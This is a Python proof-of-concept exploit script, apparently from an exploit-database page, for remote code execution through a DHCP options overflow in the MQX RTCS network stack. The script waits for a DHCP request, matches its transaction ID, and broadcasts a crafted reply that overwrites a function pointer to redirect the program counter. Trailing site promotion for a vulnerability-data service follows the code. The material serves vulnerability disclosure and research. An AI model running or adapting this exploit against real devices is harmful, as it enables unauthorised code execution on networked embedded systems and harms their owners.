#!/usr/bin/python3
"""PoC for MQX RTCS code execution via DHCP options overflow.
This is just a quick hack to prove the vulnerability and was designed to run
on a private network with the target device.
"""
import datetime
import socket
def main():
"""Use a default valid DHCP packet to overwrite an event function pointer."""
execute_addr = 0xFFFFFFFF
exploit_pkt = bytearray.fromhex(' \
02 01 06 00 a5 d3 0b 2f 00 00 80 00 00 00 00 00 \
ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff \
ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 63 82 53 63 \
35 01 02 36 04 ff ff ff ff 01 04 ff ff ff 00 43 \
98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 ff ff ff ff ff')
exploit_pkt[0x195:0x199] = execute_addr.to_bytes(4, byteorder='big')
recv_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_sock.bind(('', 67))
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
send_sock.bind(('', 68))
send_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
send_sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
while True:
print("{}: Waiting for DHCP packet...".format(datetime.datetime.now()))
# Transaction IDs need to match else RTCS will throw out the packet.
data = recv_sock.recvfrom(1024)[0]
exploit_pkt[4:8] = data[4:8]
send_sock.sendto(exploit_pkt, ('<broadcast>', 68))
print("{}: Transmitted 0x{:X} PC redirection packet.".format(
datetime.datetime.now(), execute_addr))
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation